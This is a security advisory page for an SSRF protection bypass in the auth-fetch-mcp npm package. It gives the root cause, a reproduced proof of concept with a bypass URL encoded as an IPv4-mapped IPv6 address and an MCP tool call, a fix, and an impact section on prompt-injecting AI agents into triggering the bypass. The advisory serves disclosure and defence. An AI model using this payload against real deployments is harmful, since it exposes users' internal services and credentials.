Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Network-reachable, low-complexity bypass with no privileges but requiring operator interaction (UI:R); SSRF crosses into another authority (S:C) and discloses internal data (C:H) without integrity or availability impact.
Primary rating from Vendor (https://github.com/ymw0407/auth-fetch-mcp).
CVSS VectorVendor: https://github.com/ymw0407/auth-fetch-mcp
Lifecycle Timeline
2DescriptionCVE.org
SSRF Protection Bypass via IPv4-mapped IPv6 Loopback
Summary
auth-fetch-mcp v3.0.1 implements SSRF protection in assertSafeUrl() (src/security.ts) to block requests to private and loopback addresses. However, the isPrivateV6() function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as http://[::ffff:127.0.0.1]:PORT/, the Node.js WHATWG URL parser silently normalizes the host to [::ffff:7f00:1]. Because net.isIPv4('7f00:1') returns false, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable and carries a CVSS v3.1 Base Score of 7.4 (High).
Details
The vulnerable function is isPrivateV6() in src/security.ts, called from assertSafeUrl() which gates every outbound request made by the auth_fetch and download_media MCP tools.
Root cause - src/security.ts:46-50:
if (lower.startsWith("::ffff:")) {
const v4 = lower.slice(7); // "7f00:1" after Node normalization
if (net.isIPv4(v4)) return isPrivateV4(v4); // false → falls through
}
return false; // loopback escapes the guardThe Node.js WHATWG URL class (conforming to the URL Living Standard) hex-normalizes IPv4-mapped IPv6 addresses:
| Input hostname | After new URL(...).hostname |
|---|---|
::ffff:127.0.0.1 | ::ffff:7f00:1 |
::ffff:192.168.1.1 | ::ffff:c0a8:101 |
After normalization, the suffix after ::ffff: is no longer a dotted-decimal IPv4 string, so net.isIPv4() returns false. The guard falls through and isPrivateV6() returns false, causing assertSafeUrl() to treat a loopback address as safe.
Data flow - primary sink (auth_fetch):
src/tools.ts:119-auth_fetchaccepts user-controlledurl: z.string()(source).src/tools.ts:128-131- handler callsnavigateTo(ctx, url), passing the raw URL.src/browser.ts:58-navigateTo()callsassertSafeUrl(url).src/security.ts:74-108-assertSafeUrl()delegates IPv6 host validation toisPrivateV6(); hex-normalized loopback bypasses the check.src/browser.ts:66-page.goto(safeUrl.toString())issues a browser request to the internal address.src/extractor.ts:33-54/src/tools.ts:171-176- page content is extracted and returned to the MCP caller.
Data flow - secondary sink (download_media):
src/tools.ts:198-210-download_mediaaccepts user-controlledurls[].src/tools.ts:233-234- each URL passes throughassertSafeUrl()thenctx.request.get(safeUrl.toString()).src/tools.ts:253-254- the response body is written to the local downloads directory and the path is returned.
Dynamic confirmation (Phase 2):
The PoC ran inside a Docker container (--network=host). Direct loopback URLs are correctly blocked:
[BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1)
[BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1)The IPv4-mapped IPv6 form bypasses the check and reaches the internal service:
[VULN] SECURITY_BYPASS: assertSafeUrl() did not throw
[VULN] Input URL: http://[::ffff:127.0.0.1]:31337/
[VULN] Normalized URL: http://[::ffff:7f00:1]:31337/
[VULN] Cause: net.isIPv4('7f00:1') = false → isPrivateV6() returns false
[SSRF] HTTP response received from internal service
[CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER
[CONFIRMED] VULNERABILITY_REPRODUCED=TRUEPoC
Prerequisites:
git clone https://github.com/ymw0407/auth-fetch-mcp.git
cd auth-fetch-mcp
npm ci
npm run build
npx playwright install --with-deps chromiumTerminal 1 - start a loopback-only internal service:
node -e 'require("http").createServer((q,r)=>r.end("<h1>INTERNAL_SECRET_MARKER</h1>")).listen(31337,"127.0.0.1")'Terminal 2 - start the MCP server (default config, no special env vars):
npx auth-fetch-mcp@3.0.1MCP tool invocation:
{
"tool": "auth_fetch",
"arguments": {
"url": "http://[::ffff:127.0.0.1]:31337/"
}
}Expected vs. actual behavior:
| URL | Expected | Actual |
|---|---|---|
http://127.0.0.1:31337/ | BLOCK | BLOCK (correct) |
http://[::1]:31337/ | BLOCK | BLOCK (correct) |
http://[::ffff:127.0.0.1]:31337/ | BLOCK | ALLOW (vulnerable) |
http://[::ffff:7f00:1]:31337/ | BLOCK | ALLOW (vulnerable) |
After the user clicks the "Capture" button, the MCP response contains INTERNAL_SECRET_MARKER, confirming that the internal HTTP service was reached through the SSRF protection bypass.
Remediation
Decode the hex-encoded IPv4-mapped suffix before passing it to isPrivateV4():
if (lower.startsWith("::ffff:")) {
const v4 = lower.slice(7);
if (net.isIPv4(v4)) return isPrivateV4(v4);
+ const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4);
+ if (m) {
+ const hi = parseInt(m[1], 16);
+ const lo = parseInt(m[2], 16);
+ const mapped = `${hi >> 8}.${hi & 255}.${lo >> 8}.${lo & 255}`;
+ return isPrivateV4(mapped);
+ }
}Additionally, a BrowserContext route guard should be added in src/browser.ts to re-validate every navigation URL (including redirect targets) through assertSafeUrl().
No patched version available.
Impact
This is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can supply or influence the url argument of the auth_fetch tool (or the urls[] array of download_media) can direct the MCP server to make HTTP requests to services bound to 127.0.0.1 or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal.
Who is impacted:
- End users running
auth-fetch-mcplocally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user's loopback interface - local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers. - Server-side deployments: any deployment exposing
auth-fetch-mcpas a shared MCP server faces the same risk against internal network services reachable from the host. - The
auth_fetchUI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product's README explicitly identifies as an intended protection boundary.
Confidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.
Articles & Coverage 2
AnalysisAI
Server-Side Request Forgery in auth-fetch-mcp v3.0.1 lets an attacker who controls the url argument of the auth_fetch or download_media MCP tools reach loopback and private-range services that the built-in assertSafeUrl() guard is supposed to block. The bypass works by encoding the target as an IPv4-mapped IPv6 literal (e.g. http://[::ffff:127.0.0.1]:PORT/), which Node's WHATWG URL parser normalizes to ::ffff:7f00:1 so the private-IP check falls through. A detailed, reproduced proof-of-concept exists (publicly available exploit code exists); there is no CISA KEV listing and no vendor-released patch identified at time of analysis. CVSS 3.1 is 7.4 (High); EPSS was not provided.
Technical ContextAI
The affected component is the npm package auth-fetch-mcp (pkg:npm/auth-fetch-mcp), a Node.js Model Context Protocol server that fetches web pages via a Playwright browser (auth_fetch) and downloads media (download_media). Its SSRF defense in src/security.ts validates hosts through assertSafeUrl(), which for IPv6 hosts delegates to isPrivateV6(). The root cause (CWE-918, Server-Side Request Forgery) is that isPrivateV6() strips the ::ffff: prefix and then calls net.isIPv4() on the remainder; but the WHATWG URL Living Standard hex-normalizes IPv4-mapped IPv6 addresses (127.0.0.1 becomes 7f00:1, 192.168.1.1 becomes c0a8:101), so net.isIPv4('7f00:1') returns false, the branch falls through, and the loopback/private address is treated as safe. The unvalidated URL then flows to page.goto() in src/browser.ts (browser sink) or ctx.request.get() in src/tools.ts (HTTP sink), reaching the internal service.
RemediationAI
No vendor-released patch identified at time of analysis, so remediation currently depends on the upstream fix described in the advisory rather than a tagged release. The primary fix is to decode the hex-encoded IPv4-mapped suffix before evaluating it: parse the two hex groups after ::ffff: (e.g. 7f00:1), reconstruct the dotted-decimal IPv4 (127.0.0.1), and pass it to isPrivateV4() so mapped loopback and private addresses are correctly blocked. As defense in depth the advisory recommends adding a BrowserContext route guard in src/browser.ts that re-runs assertSafeUrl() on every navigation and redirect target, closing redirect-based bypasses. Until a fixed package is published, operators can pin to a locally patched build, run the MCP server on a network namespace or container that has no route to sensitive loopback/internal services (accepting loss of any legitimate localhost fetching), and restrict who can supply url/urls[] arguments - treating any agent that ingests untrusted web content as a prompt-injection risk. Track the vendor advisory at https://github.com/ymw0407/auth-fetch-mcp/security/advisories/GHSA-pvrj-8cg3-j5f8 for a released version.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-58054
GHSA-pvrj-8cg3-j5f8